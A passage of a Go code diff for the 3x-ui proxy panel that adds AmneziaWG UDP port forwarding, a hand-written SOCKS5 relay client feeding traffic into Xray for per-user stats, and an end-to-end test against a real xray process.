+ if _, err := tcpConn.Write([]byte(wantTCP)); err != nil {
+ t.Fatalf("write to forwarded TCP port: %v", err)
+ }
+ tcpConn.SetReadDeadline(time.Now().Add(5 * time.Second))
+ gotTCP := make([]byte, len(wantTCP))
+ if _, err := io.ReadFull(tcpConn, gotTCP); err != nil {
+ t.Fatalf("read echo from forwarded TCP port: %v", err)
+ }
+ if string(gotTCP) != wantTCP {
+ t.Errorf("TCP round trip = %q, want %q", gotTCP, wantTCP)
+ }
+
+ // UDP: the tunnel is already up (handshake completed above), so this
+ // can dial straight away.
+ const wantUDP = "port-forward udp round trip"
+ udpConn, err := net.DialTimeout("udp", fmt.Sprintf("127.0.0.1:%d", udpPort), time.Second)
+ if err != nil {
+ t.Fatalf("external UDP dial: %v", err)
+ }
+ defer udpConn.Close()
+ if _, err := udpConn.Write([]byte(wantUDP)); err != nil {
+ t.Fatalf("write to forwarded UDP port: %v", err)
+ }
+ udpConn.SetReadDeadline(time.Now().Add(5 * time.Second))
+ gotUDP := make([]byte, len(wantUDP))
+ if _, err := io.ReadFull(udpConn, gotUDP); err != nil {
+ t.Fatalf("read echo from forwarded UDP port: %v", err)
+ }
+ if string(gotUDP) != wantUDP {
+ t.Errorf("UDP round trip = %q, want %q", gotUDP, wantUDP)
+ }
+}
diff --git a/internal/amneziawgnet/portfwd_udp.go b/internal/amneziawgnet/portfwd_udp.go
new file mode 100644
index 000000000..5f1125ad5
--- /dev/null
+++ b/internal/amneziawgnet/portfwd_udp.go
@@ -0,0 +1,147 @@
+package amneziawgnet
+
+import (
+ "context"
+ "fmt"
+ "net"
+ "net/netip"
+ "sync"
+ "time"
+
+ "gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+ "gvisor.dev/gvisor/pkg/tcpip/stack"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/logger"
+)
+
+// portForwardUDPIdleTimeout matches UDPRelay.pump's own idle window
+// (relay.go) -- both are "how long to keep a per-flow session alive with no
+// traffic before tearing it down," so there's no reason for the two
+// directions to disagree.
+const portForwardUDPIdleTimeout = 2 * time.Minute
+
+// udpForwardSession is one established flow from a single external source
+// address into the tunnel toward a peer -- conn is a connected gonet UDP
+// endpoint (DialUDP with a non-nil raddr), so plain Read/Write, not
+// ReadFrom/WriteTo, address it correctly.
+type udpForwardSession struct {
+ conn *gonet.UDPConn
+}
+
+// udpForwardListener is one open host-facing UDP socket for a single
+// portForwardKey, demultiplexing by external source address -- the mirror
+// image of AttachUDPHandler/UDPRelay, which demultiplex by tunnel-internal
+// source for the opposite direction. net.ListenPacket has no accept/session
+// model of its own, so this package tracks sessions itself here, the same
+// way UDPRelay already does in relay.go.
+type udpForwardListener struct {
+ pc net.PacketConn
+
+ mu sync.Mutex
+ sessions map[netip.AddrPort]*udpForwardSession
+}
+
+// listenPortForwardUDP opens a host-facing UDP socket on key.port and
+// starts demultiplexing datagrams into per-source-address tunnel sessions
+// toward target(key.email). Bind-failure contract matches
+// listenPortForwardTCP exactly: log, return nil, Reconcile retries later.
+func listenPortForwardUDP(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) *udpForwardListener {
+ pc, err := (&net.ListenConfig{}).ListenPacket(context.Background(), "udp", fmt.Sprintf(":%d", key.port))
+ if err != nil {
+ logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: listen udp :%d: %v", inboundID, key.email, key.port, err)
+ return nil
+ }
+ l := &udpForwardListener{pc: pc, sessions: map[netip.AddrPort]*udpForwardSession{}}
+ logger.Infof("amneziawgnet: port-forward: inbound %d peer %q: listening udp :%d", inboundID, key.email, key.port)
+ go l.readLoop(gstack, inboundID, key, target)
+ return l
+}
+
+func (l *udpForwardListener) readLoop(gstack *stack.Stack, inboundID int, key portForwardKey, target portForwardTargetFunc) {
+ buf := make([]byte, 65536)
+ for {
+ n, from, err := l.pc.ReadFrom(buf)
+ if err != nil {
+ return // closed
+ }
+ src, ok := udpAddrPort(from)
+ if !ok {
+ continue
+ }
+
+ l.mu.Lock()
+ sess, exists := l.sessions[src]
+ l.mu.Unlock()
+
+ if !exists {
+ addr, ok := target(key.email)
+ if !ok {
+ continue
+ }
+ raddr := tunnelFullAddress(addr, key.port)
+ conn, err := gonet.DialUDP(gstack, nil, &raddr, tunnelNetwork(addr))
+ if err != nil {
+ logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: dial tunnel %s:%d: %v", inboundID, key.email, addr, key.port, err)
+ continue
+ }
+ sess = &udpForwardSession{conn: conn}
+ l.mu.Lock()
+ l.sessions[src] = sess
+ l.mu.Unlock()
+ go l.pump(src, sess)
+ }
+ // buf is reused by the next ReadFrom the instant this loop continues,
+ // so the session's own goroutine can't be handed a slice into it --
+ // Write copies synchronously here, on this goroutine, before that
+ // can happen, so no copy of the payload is needed.
+ if _, err := sess.conn.Write(buf[:n]); err != nil {
+ logger.Warningf("amneziawgnet: port-forward: inbound %d peer %q: write tunnel: %v", inboundID, key.email, err)
+ }
+ }
+}
+
+// pump reads replies from sess and writes them back to the external source
+// src until the session errors out or goes idle, mirroring UDPRelay.pump's
+// exact structure (relay.go) for the opposite direction.
+func (l *udpForwardListener) pump(src netip.AddrPort, sess *udpForwardSession) {
+ defer func() {
+ l.mu.Lock()
+ delete(l.sessions, src)
+ l.mu.Unlock()
+ sess.conn.Close()
+ }()
+ buf := make([]byte, 65536)
+ for {
+ _ = sess.conn.SetReadDeadline(time.Now().Add(portForwardUDPIdleTimeout))
+ n, err := sess.conn.Read(buf)
+ if err != nil {
+ return
+ }
+ if _, err := l.pc.WriteTo(buf[:n], net.UDPAddrFromAddrPort(src)); err != nil {
+ return
+ }
+ }
+}
+
+// Close tears down every open session and the underlying socket.
+func (l *udpForwardListener) Close() {
+ l.mu.Lock()
+ sessions := l.sessions
+ l.sessions = map[netip.AddrPort]*udpForwardSession{}
+ l.mu.Unlock()
+ for _, sess := range sessions {
+ sess.conn.Close()
+ }
+ l.pc.Close()
+}
+
+// udpAddrPort extracts a netip.AddrPort from a net.Addr returned by
+// net.ListenPacket's ReadFrom -- always a *net.UDPAddr in practice for a
+// "udp" network listener, but handled defensively rather than assumed.
+func udpAddrPort(addr net.Addr) (netip.AddrPort, bool) {
+ udpAddr, ok := addr.(*net.UDPAddr)
+ if !ok {
+ return netip.AddrPort{}, false
+ }
+ return udpAddr.AddrPort(), true
+}
diff --git a/internal/amneziawgnet/relay.go b/internal/amneziawgnet/relay.go
new file mode 100644
index 000000000..33f3b7662
--- /dev/null
+++ b/internal/amneziawgnet/relay.go
@@ -0,0 +1,389 @@
+// Phase 2: relaying a recovered tunnel connection into Xray's own,
+// completely stock SOCKS5 inbound -- authenticating as the owning peer's
+// email -- is what gives every embedded AmneziaWG connection real, native
+// Xray stats/routing/sniffing with no Xray-core fork at all (Finding 3 of
+// the migration plan: a stock SOCKS5 inbound sets its per-connection stats
+// identity directly from the SOCKS5 auth username).
+package amneziawgnet
+
+import (
+ "context"
+ "encoding/binary"
+ "encoding/json"
+ "fmt"
+ "io"
+ "net"
+ "net/netip"
+ "sync"
+ "time"
+
+ "golang.org/x/net/proxy"
+ "gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+ "gvisor.dev/gvisor/pkg/tcpip/stack"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/logger"
+)
+
+// SocksRelay describes the loopback SOCKS5 inbound decapsulated AmneziaWG
+// traffic gets relayed into.
+type SocksRelay struct {
+ // Addr is the SOCKS5 inbound's own address, e.g. "127.0.0.1:11500".
+ Addr string
+ // Password is shared across every account. This traffic never leaves
+ // loopback, so the password is not a real secrecy boundary -- it only
+ // needs to satisfy Xray's SOCKS5 inbound requiring *some* username/
+ // password auth before it will accept a connection and use the
+ // username as the stats identity. Document this reasoning wherever a
+ // caller generates or displays it, so it's never mistaken later for a
+ // real credential.
+ Password string
+}
+
+// SocksInboundSettings builds the JSON `settings` block for a stock Xray
+// SOCKS5 inbound with one username/password account per email, all sharing
+// password (see SocksRelay's doc comment). udp:true is required: RelayUDP
+// depends on the inbound accepting UDP ASSOCIATE, not just CONNECT.
+func SocksInboundSettings(emails []string, password string) ([]byte, error) {
+ type account struct {
+ User string `json:"user"`
+ Pass string `json:"pass"`
+ }
+ settings := struct {
+ Auth string `json:"auth"`
+ UDP bool `json:"udp"`
+ Accounts []account `json:"accounts"`
+ }{Auth: "password", UDP: true}
+ for _, email := range emails {
+ settings.Accounts = append(settings.Accounts, account{User: email, Pass: password})
+ }
+ return json.Marshal(settings)
+}
+
+// RelayTCP dials r.Addr, authenticates as email, issues a SOCKS5 CONNECT to
+// dest, and pipes bytes both ways until either side closes or errors.
+// Blocks until the relay ends; meant to be called from (or as) an
+// AttachTCPForwarder handler, which already runs each connection on its own
+// goroutine.
+func (r SocksRelay) RelayTCP(conn *gonet.TCPConn, email string, dest netip.AddrPort) {
+ defer conn.Close()
+
+ auth := &proxy.Auth{User: email, Password: r.Password}
+ dialer, err := proxy.SOCKS5("tcp", r.Addr, auth, proxy.Direct)
+ if err != nil {
+ logger.Warningf("amneziawgnet: RelayTCP: build SOCKS5 dialer: %v", err)
+ return
+ }
+ upstream, err := dialer.Dial("tcp", dest.String())
+ if err != nil {
+ logger.Warningf("amneziawgnet: RelayTCP: SOCKS5 CONNECT to %s as %q: %v", dest, email, err)
+ return
+ }
+ defer upstream.Close()
+
+ done := make(chan struct{}, 2)
+ go func() { _, _ = io.Copy(upstream, conn); done <- struct{}{} }()
+ go func() { _, _ = io.Copy(conn, upstream); done <- struct{}{} }()
+ <-done
+}
+
+// socks5UDPSession is one established SOCKS5 UDP ASSOCIATE session: udpConn
+// is the actual socket packets are sent to (and replies read from); ctrl is
+// the TCP control connection that must stay open for the session's
+// lifetime -- per RFC 1928, closing it tears the association down.
+type socks5UDPSession struct {
+ ctrl net.Conn
+ udpConn *net.UDPConn
+}
+
+// newSocks5UDPSession performs the SOCKS5 greeting, username/password auth,
+// and UDP ASSOCIATE request/reply by hand: golang.org/x/net/proxy's SOCKS5
+// client (used by RelayTCP above) only implements CONNECT, and xray-core's
+// own proxy/socks/client.go is written against its internal transport
+// types, not reusable as a standalone dialer -- so this is a small, direct,
+// from-the-RFC implementation rather than an existing library call.
+func newSocks5UDPSession(addr, user, password string) (*socks5UDPSession, error) {
+ dialer := net.Dialer{Timeout: 5 * time.Second}
+ ctrl, err := dialer.DialContext(context.Background(), "tcp", addr)
+ if err != nil {
+ return nil, fmt.Errorf("amneziawgnet: dial SOCKS5 control connection: %w", err)
+ }
+ if err := socks5Handshake(ctrl, user, password); err != nil {
+ ctrl.Close()
+ return nil, err
+ }
+
+ // UDP ASSOCIATE, dst 0.0.0.0:0 ("I don't know my own source yet, and I
+ // don't need to specify one for a loopback relay").
+ if _, err := ctrl.Write([]byte{0x05, 0x03, 0x00, 0x01, 0, 0, 0, 0, 0, 0}); err != nil {
+ ctrl.Close()
+ return nil, fmt.Errorf("amneziawgnet: send UDP ASSOCIATE request: %w", err)
+ }
+ bind, err := readSocks5Reply(ctrl)
+ if err != nil {
+ ctrl.Close()
+ return nil, err
+ }
+
+ udpConn, err := net.DialUDP("udp", nil, net.UDPAddrFromAddrPort(bind))
+ if err != nil {
+ ctrl.Close()
+ return nil, fmt.Errorf("amneziawgnet: dial SOCKS5 UDP relay endpoint %s: %w", bind, err)
+ }
+ return &socks5UDPSession{ctrl: ctrl, udpConn: udpConn}, nil
+}
+
+// socks5Handshake performs the version greeting and (if the server
+// requires it) username/password auth. Xray's SOCKS5 inbound with
+// auth:"password" always requires it; the no-auth branch exists so this
+// helper isn't silently wrong against a differently-configured server.
+func socks5Handshake(conn net.Conn, user, password string) error {
+ if _, err := conn.Write([]byte{0x05, 0x02, 0x00, 0x02}); err != nil {
+ return fmt.Errorf("amneziawgnet: send SOCKS5 greeting: %w", err)
+ }
+ var resp [2]byte
+ if _, err := io.ReadFull(conn, resp[:]); err != nil {
+ return fmt.Errorf("amneziawgnet: read SOCKS5 greeting reply: %w", err)
+ }
+ if resp[0] != 0x05 {
+ return fmt.Errorf("amneziawgnet: unexpected SOCKS5 version %d", resp[0])
+ }
+ switch resp[1] {
+ case 0x00: // no auth required
+ return nil
+ case 0x02: // username/password
+ req := make([]byte, 0, 3+len(user)+len(password))
+ req = append(req, 0x01, byte(len(user)))
+ req = append(req, user...)
+ req = append(req, byte(len(password)))
+ req = append(req, password...)
+ if _, err := conn.Write(req); err != nil {
+ return fmt.Errorf("amneziawgnet: send SOCKS5 auth: %w", err)
+ }
+ var authResp [2]byte
+ if _, err := io.ReadFull(conn, authResp[:]); err != nil {
+ return fmt.Errorf("amneziawgnet: read SOCKS5 auth reply: %w", err)
+ }
+ if authResp[1] != 0x00 {
+ return fmt.Errorf("amneziawgnet: SOCKS5 auth rejected (status %d)", authResp[1])
+ }
+ return nil
+ default:
+ return fmt.Errorf("amneziawgnet: SOCKS5 server offered unsupported auth method %d", resp[1])
+ }
+}
+
+// readSocks5Reply reads a SOCKS5 reply (the common format shared by CONNECT
+// and UDP ASSOCIATE replies) and returns its bound address.
+func readSocks5Reply(r io.Reader) (netip.AddrPort, error) {
+ var hdr [4]byte
+ if _, err := io.ReadFull(r, hdr[:]); err != nil {
+ return netip.AddrPort{}, fmt.Errorf("amneziawgnet: read SOCKS5 reply header: %w", err)
+ }
+ if hdr[0] != 0x05 {
+ return netip.AddrPort{}, fmt.Errorf("amneziawgnet: unexpected SOCKS5 reply version %d", hdr[0])
+ }
+ if hdr[1] != 0x00 {
+ return netip.AddrPort{}, fmt.Errorf("amneziawgnet: SOCKS5 request failed (reply code %d)", hdr[1])
+ }
+ addr, err := readSocks5Addr(r, hdr[3])
+ if err != nil {
+ return netip.AddrPort{}, err
+ }
+ var portBytes [2]byte
+ if _, err := io.ReadFull(r, portBytes[:]); err != nil {
+ return netip.AddrPort{}, fmt.Errorf("amneziawgnet: read SOCKS5 reply port: %w", err)
+ }
+ return netip.AddrPortFrom(addr, binary.BigEndian.Uint16(portBytes[:])), nil
+}
+
+// readSocks5Addr reads the address portion of a SOCKS5 reply for the given
+// address type (IPv4, IPv6, or domain -- resolved locally since a loopback
+// Xray inbound is not expected to reply with one, but it's cheap to handle
+// correctly rather than fail oddly if it ever does).
+func readSocks5Addr(r io.Reader, atyp byte) (netip.Addr, error) {
+ switch atyp {
+ case 0x01:
+ var b [4]byte
+ if _, err := io.ReadFull(r, b[:]); err != nil {
+ return netip.Addr{}, err
+ }
+ return netip.AddrFrom4(b), nil
+ case 0x04:
+ var b [16]byte
+ if _, err := io.ReadFull(r, b[:]); err != nil {
+ return netip.Addr{}, err
+ }
+ return netip.AddrFrom16(b), nil
+ case 0x03:
+ var l [1]byte
+ if _, err := io.ReadFull(r, l[:]); err != nil {
+ return netip.Addr{}, err
+ }
+ name := make([]byte, l[0])
+ if _, err := io.ReadFull(r, name); err != nil {
+ return netip.Addr{}, err
+ }
+ resolved, err := net.ResolveIPAddr("ip", string(name))
+ if err != nil {
+ return netip.Addr{}, fmt.Errorf("amneziawgnet: resolve SOCKS5 domain reply %q: %w", name, err)
+ }
+ addr, ok := netip.AddrFromSlice(resolved.IP)
+ if !ok {
+ return netip.Addr{}, fmt.Errorf("amneziawgnet: unparseable resolved SOCKS5 domain reply address")
+ }
+ return addr, nil
+ default:
+ return netip.Addr{}, fmt.Errorf("amneziawgnet: unsupported SOCKS5 address type %d", atyp)
+ }
+}
+
+// Close ends the UDP ASSOCIATE session: closing ctrl tells the SOCKS5
+// server to tear down its relay side too (RFC 1928).
+func (s *socks5UDPSession) Close() error {
+ s.udpConn.Close()
+ return s.ctrl.Close()
+}
+
+// sendTo wraps payload in a SOCKS5 UDP request header addressed to dest and
+// sends it to the session's relay endpoint.
+func (s *socks5UDPSession) sendTo(dest netip.AddrPort, payload []byte) error {
+ hdr := make([]byte, 0, 3+1+16+2+len(payload))
+ hdr = append(hdr, 0x00, 0x00, 0x00) // RSV RSV FRAG(=0, no fragmentation)
+ if dest.Addr().Is4() {
+ b := dest.Addr().As4()
+ hdr = append(hdr, 0x01)
+ hdr = append(hdr, b[:]...)
+ } else {
+ b := dest.Addr().As16()
+ hdr = append(hdr, 0x04)
+ hdr = append(hdr, b[:]...)
+ }
+ var portBytes [2]byte
+ binary.BigEndian.PutUint16(portBytes[:], dest.Port())
+ hdr = append(hdr, portBytes[:]...)
+ hdr = append(hdr, payload...)
+ _, err := s.udpConn.Write(hdr)
+ return err
+}
+
+// receive reads one reply datagram into buf, returning the address the
+// SOCKS5 server says it came from and the actual payload (a sub-slice of
+// buf -- valid only until the next receive call).
+func (s *socks5UDPSession) receive(buf []byte) (netip.AddrPort, []byte, error) {
+ n, err := s.udpConn.Read(buf)
+ if err != nil {
+ return netip.AddrPort{}, nil, err
+ }
+ data := buf[:n]
+ if len(data) < 4 {
+ return netip.AddrPort{}, nil, fmt.Errorf("amneziawgnet: short SOCKS5 UDP reply (%d bytes)", n)
+ }
+ atyp := data[3]
+ data = data[4:]
+ addr, err := readSocks5Addr(bytesReader{data}, atyp)
+ if err != nil {
+ return netip.AddrPort{}, nil, err
+ }
+ switch atyp {
+ case 0x01:
+ data = data[4:]
+ case 0x04:
+ data = data[16:]
+ }
+ if len(data) < 2 {
+ return netip.AddrPort{}, nil, fmt.Errorf("amneziawgnet: truncated SOCKS5 UDP reply port")
+ }
+ port := binary.BigEndian.Uint16(data[:2])
+ return netip.AddrPortFrom(addr, port), data[2:], nil
+}
+
+// bytesReader is the minimal io.Reader readSocks5Addr needs, over an
+// in-memory slice that's already fully available (a received UDP
+// datagram) -- avoids pulling in bytes.Reader just for this.
+type bytesReader struct{ b []byte }
+
+func (r bytesReader) Read(p []byte) (int, error) {
+ n := copy(p, r.b)
+ if n < len(p) {
+ return n, io.ErrUnexpectedEOF
+ }
+ return n, nil
+}
+
+// UDPRelay tracks one SOCKS5 UDP ASSOCIATE session per source (tunnel-
+// internal client) flow, relaying each into r's SOCKS5 inbound and writing
+// replies back through gstack -- the UDP counterpart of RelayTCP, meant to
+// be driven by an AttachUDPHandler callback (see udp.go).
+type UDPRelay struct {
+ relay SocksRelay
+ gstack *stack.Stack
+
+ mu sync.Mutex
+ sessions map[string]*socks5UDPSession
+}
+
+// NewUDPRelay creates a UDPRelay for one embedded AmneziaWG Device's stack.
+func NewUDPRelay(relay SocksRelay, gstack *stack.Stack) *UDPRelay {
+ return &UDPRelay{relay: relay, gstack: gstack, sessions: map[string]*socks5UDPSession{}}
+}
+
+// Handle relays one packet from src (the peer's tunnel-internal source) to
+// dst (its real, recovered destination), opening a fresh SOCKS5 UDP
+// ASSOCIATE session for src the first time it's seen (authenticating as
+// email, so Xray attributes the whole flow's stats to the right peer) and
+// reusing it for subsequent packets from the same src.
+func (u *UDPRelay) Handle(src, dst netip.AddrPort, email string, payload []byte) {
+ u.mu.Lock()
+ sess, ok := u.sessions[src.String()]
+ u.mu.Unlock()
+
+ if !ok {
+ var err error
+ sess, err = newSocks5UDPSession(u.relay.Addr, email, u.relay.Password)
+ if err != nil {
+ logger.Warningf("amneziawgnet: UDPRelay: SOCKS5 associate for %q: %v", email, err)
+ return
+ }
+ u.mu.Lock()
+ u.sessions[src.String()] = sess
+ u.mu.Unlock()
+ go u.pump(src, sess)
+ }
+ if err := sess.sendTo(dst, payload); err != nil {
+ logger.Warningf("amneziawgnet: UDPRelay: send to %s: %v", dst, err)
+ }
+}
+
+// pump reads replies from sess and writes them back into the tunnel toward
+// src until the session errors out or goes idle for 2 minutes, then tears
+// it down -- both the map entry and the underlying SOCKS5 association.
+func (u *UDPRelay) pump(src netip.AddrPort, sess *socks5UDPSession) {
+ defer func() {
+ u.mu.Lock()
+ delete(u.sessions, src.String())
+ u.mu.Unlock()
+ sess.Close()
+ }()
+ buf := make([]byte, 65536)
+ for {
+ _ = sess.udpConn.SetReadDeadline(time.Now().Add(2 * time.Minute))
+ from, payload, err := sess.receive(buf)
+ if err != nil {
+ return
+ }
+ if err := WriteUDPReply(u.gstack, from, src, payload); err != nil {
+ logger.Warningf("amneziawgnet: UDPRelay: reply write: %v", err)
+ }
+ }
+}
+
+// Close tears down every open session. Call when the owning Device is
+// closed.
+func (u *UDPRelay) Close() {
+ u.mu.Lock()
+ defer u.mu.Unlock()
+ for k, s := range u.sessions {
+ s.Close()
+ delete(u.sessions, k)
+ }
+}
diff --git a/internal/amneziawgnet/relay_e2e_test.go b/internal/amneziawgnet/relay_e2e_test.go
new file mode 100644
index 000000000..bd1eef366
--- /dev/null
+++ b/internal/amneziawgnet/relay_e2e_test.go
@@ -0,0 +1,617 @@
+package amneziawgnet
+
+import (
+ "encoding/json"
+ "fmt"
+ "net"
+ "net/netip"
+ "os"
+ "os/exec"
+ "path/filepath"
+ "strings"
+ "sync"
+ "testing"
+ "time"
+
+ awgconn "github.com/amnezia-vpn/amneziawg-go/v3/conn"
+ "github.com/amnezia-vpn/amneziawg-go/v3/device"
+ "github.com/amnezia-vpn/amneziawg-go/v3/tun/netstack"
+ "gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
+
+ "github.com/mhsanaei/3x-ui/v3/internal/amneziawg"
+ "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard"
+)
+
+// TestSocksRelayAgainstRealXray is Phase 2's real end-to-end proof: a
+// genuine amneziawg-go client completes a real handshake against a Device
+// built by NewDevice, dials a real TCP echo server and sends a real UDP
+// echo datagram, and this package's own AttachTCPForwarder/AttachUDPHandler
+// handlers relay both through RelayTCP/UDPRelay into an *actual xray-core
+// process* (not a mock) running a SOCKS5 inbound built by
+// SocksInboundSettings. Verifies real data round-trips on both protocols,
+// then greps the real process's own debug log for
+// "user>>>{email}>>>traffic>>>{up,down}link" -- the same proof Finding 3 of
+// the migration plan established manually in Phase 0, now permanent,
+// repo-owned test infrastructure. The UDP half in particular is the first
+// real test of this package's hand-rolled SOCKS5 UDP ASSOCIATE client
+// (relay.go) against an independent, authoritative implementation of the
+// protocol rather than a mock this same session wrote.
+//
+// Skipped unless XRAY_E2E_BINARY points at an xray executable built from
+// the same xray-core version as go.mod, matching internal/xray's own
+// TestXrayAPI_E2E convention:
+//
+// go install github.com/xtls/xray-core/main@
+// XRAY_E2E_BINARY=$GOBIN/main go test ./internal/amneziawgnet -run TestSocksRelayAgainstRealXray -v
+func TestSocksRelayAgainstRealXray(t *testing.T) {
+ bin := os.Getenv("XRAY_E2E_BINARY")
+ if bin == "" {
+ t.Skip("set XRAY_E2E_BINARY to an xray binary to run this test")
+ }
+
+ localIP, ok := firstNonLoopbackIPv4()
+ if !ok {
+ t.Skip("no non-loopback IPv4 address available on this host")
+ }
+
+ const wantEmail = "e2e-peer@example.com"
+ const socksPassword = "loopback-only-not-a-real-secret"
+
+ // --- real TCP + UDP echo servers on a real, non-loopback address ---
+ // (dialing 127.0.0.1 as a tunnel-internal destination hangs -- gVisor
+ // won't route loopback out an arbitrary NIC -- so the client dials
+ // localIP instead; it must still be a *real* address since the actual
+ // relay leg is a genuine OS-level dial from the xray-core process, not
+ // anything inside the tunnel's virtual netstack.)
+ tcpEcho, tcpEchoAddr := startTCPEcho(t, localIP)
+ defer tcpEcho.Close()
+ udpEcho, udpEchoAddr := startUDPEcho(t, localIP)
+ defer udpEcho.Close()
+
+ // --- real embedded AmneziaWG server + client, same shape as Phase 1's tests ---
+ serverPriv, serverPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate server keypair: %v", err)
+ }
+ clientPriv, clientPub, err := wireguard.GenerateWireguardKeypair()
+ if err != nil {
+ t.Fatalf("generate client keypair: %v", err)
+ }
+
+ const listenPort = 58715
+ inst := amneziawg.Instance{
+ Id: 4,
+ InterfaceName: "awgtest4",
+ ListenPort: listenPort,
+ PrivateKey: serverPriv,
+ PublicKey: serverPub,
+ Address: []string{"10.204.0.1/24"},
+ MTU: 1420,
+ Obfuscation: amneziawg.Obfuscation31{
+ Jc: 4, Jmin: 40, Jmax: 70,
+ S1: 20, S2: 30, S3: 20, S4: 20,
+ },
+ Peers: []amneziawg.Peer{{
+ Email: wantEmail,
+ PublicKey: clientPub,
+ AllowedIPs: []string{"10.204.0.2/32"},
+ }},
+ }
+ dev, err := newUnconfiguredDevice(inst, DeviceOptions{})
+ if err != nil {
+ t.Fatalf("newUnconfiguredDevice: %v", err)
+ }
+ defer dev.Close()
+ idx := NewPeerIndex(inst.Peers)
+
+ // --- real xray-core process with a SOCKS5 inbound built by this package ---
+ socksPort := freePort(t)
+ settingsJSON, err := SocksInboundSettings([]string{wantEmail}, socksPassword)
+ if err != nil {
+ t.Fatalf("SocksInboundSettings: %v", err)
+ }
+ var rawSettings any
+ if err := json.Unmarshal(settingsJSON, &rawSettings); err != nil {
+ t.Fatalf("unmarshal generated SOCKS5 settings: %v", err)
+ }
+ xrayCfg := map[string]any{
+ "log": map[string]any{"loglevel": "debug"},
+ "inbounds": []any{
+ map[string]any{
+ "listen": "127.0.0.1",
+ "port": socksPort,
+ "protocol": "socks",
+ "settings": rawSettings,
+ "tag": "awg-e2e-socks",
+ },
+ },
+ "outbounds": []any{
+ map[string]any{"protocol": "freedom", "settings": map[string]any{}, "tag": "direct"},
+ },
+ "policy": map[string]any{
+ "levels": map[string]any{
+ "0": map[string]any{"statsUserUplink": true, "statsUserDownlink": true},
+ },
+ },
+ "stats": map[string]any{},
+ }
+ cfgBytes, err := json.MarshalIndent(xrayCfg, "", " ")
+ if err != nil {
+ t.Fatalf("marshal xray config: %v", err)
+ }
+ cfgPath := filepath.Join(t.TempDir(), "config.json")
+ if err := os.WriteFile(cfgPath, cfgBytes, 0o644); err != nil {
+ t.Fatalf("write xray config: %v", err)
+ }
+
+ var xrayLog syncBuffer
+ cmd := exec.Command(bin, "-c", cfgPath)
+ cmd.Stdout = &xrayLog
+ cmd.Stderr = &xrayLog
+ if err := cmd.Start(); err != nil {
+ t.Fatalf("start xray: %v", err)
+ }
+ defer func() {
+ _ = cmd.Process.Kill()
+ _, _ = cmd.Process.Wait()
+ }()
+ waitForPort(t, socksPort)
+
+ socksAddr := fmt.Sprintf("127.0.0.1:%d", socksPort)
+ relay := SocksRelay{Addr: socksAddr, Password: socksPassword}
+ udpRelay := NewUDPRelay(relay, dev.Stack)
+ defer udpRelay.Close()
+
+ AttachTCPForwarder(dev.Stack, func(conn *gonet.TCPConn, dest netip.AddrPort) {
+ srcAddrPort, err := netip.ParseAddrPort(conn.RemoteAddr().String())
+ if err != nil {
+ conn.Close()
+ return
+ }
+ peer, ok := idx.Lookup(srcAddrPort.Addr().Unmap())
+ if !ok {
+ conn.Close()
+ return
+ }
+ relay.RelayTCP(conn, peer.Email, dest)
+ })
+ AttachUDPHandler(dev.Stack, func(src, dst netip.AddrPort, payload []byte) {
+ peer, ok := idx.Lookup(src.Addr())
+ if !ok {
+ return
+ }
+ udpRelay.Handle(src, dst, peer.Email, payload)
+ })
+
+ // Configure (IpcSet) must come after both attaches -- see
+ // newUnconfiguredDevice's doc comment.
+ if err := dev.Configure(inst, DeviceOptions{}); err != nil {
+ t.Fatalf("Configure: %v", err)
+ }
+
+ // --- real client, real handshake, real traffic through the whole chain ---
+ clientTun, clientNet, err := netstack.CreateNetTUN(
+ []netip.Addr{netip.MustParseAddr("10.204.0.2")},
+ []netip.Addr{netip.MustParseAddr("1.1.1.1")}, 1420)
+ if err != nil {
+ t.Fatalf("client CreateNetTUN: %v", err)
+ }
+ clientDev := device.NewDevice(clientTun, awgconn.NewDefaultBind(), device.NewLogger(device.LogLevelSilent, ""))
+ defer clientDev.Close()
+
+ clientPrivHex, err := wireguard.KeyToHex(clientPriv)
+ if err != nil {
+ t.Fatalf("client key to hex: %v", err)
+ }
+ serverPubHex, err := wireguard.KeyToHex(serverPub)
+ if err != nil {
+ t.Fatalf("server key to hex: %v", err)
+ }
+ clientConf := fmt.Sprintf(
+ "private_key=%s\njc=4\njmin=40\njmax=70\ns1=20\ns2=30\ns3=20\ns4=20\npublic_key=%s\nendpoint=127.0.0.1:%d\nallowed_ip=0.0.0.0/0\n",
+ clientPrivHex, serverPubHex, listenPort)
+ if err := clientDev.IpcSet(clientConf); err != nil {
+ t.Fatalf("client IpcSet: %v", err)
+ }
+ if err := clientDev.Up(); err != nil {
+ t.Fatalf("client Up: %v", err)
+ }
+
+ // TCP round trip.
+ const tcpMsg = "hello over amneziawgnet+socks5+xray"
+ dialDeadline := time.Now().Add(10 * time.Second)
+ var tcpConn interface {
+ Write([]byte) (int, error)
+ Read([]byte) (int, error)
+ Close() error
+ }
+ for {
+ c, dialErr := clientNet.DialContext(t.Context(), "tcp", tcpEchoAddr.String())
+ if dialErr == nil {
+ tcpConn = c
+ break
+ }
+ if time.Now().After(dialDeadline) {
+ t.Fatalf("client TCP dial via tunnel never succeeded: %v", dialErr)
+ }
+ time.Sleep(150 * time.Millisecond)
+ }
+ defer tcpConn.Close()
+ if _, err := tcpConn.Write([]byte(tcpMsg)); err != nil {
+ t.Fatalf("client TCP write: %v", err)
+ }
+ tcpBuf := make([]byte, len(tcpMsg))
+ if _, err := readFull(tcpConn, tcpBuf, 10*time.Second); err != nil {
+ t.Fatalf("client TCP read: %v", err)
+ }
+ if string(tcpBuf) != tcpMsg {
+ t.Errorf("TCP echo = %q, want %q", tcpBuf, tcpMsg)
+ }
+
+ // UDP round trip.
+ const udpMsg = "hello-udp-over-socks5"
+ uconn, err := clientNet.DialUDPAddrPort(netip.AddrPort{}, udpEchoAddr)
+ if err != nil {
+ t.Fatalf("client DialUDPAddrPort: %v", err)
+ }
+ defer uconn.Close()
+ udpDeadline := time.Now().Add(10 * time.Second)
+ var udpBuf [256]byte
+ var gotUDP string
+ for time.Now().Before(udpDeadline) {
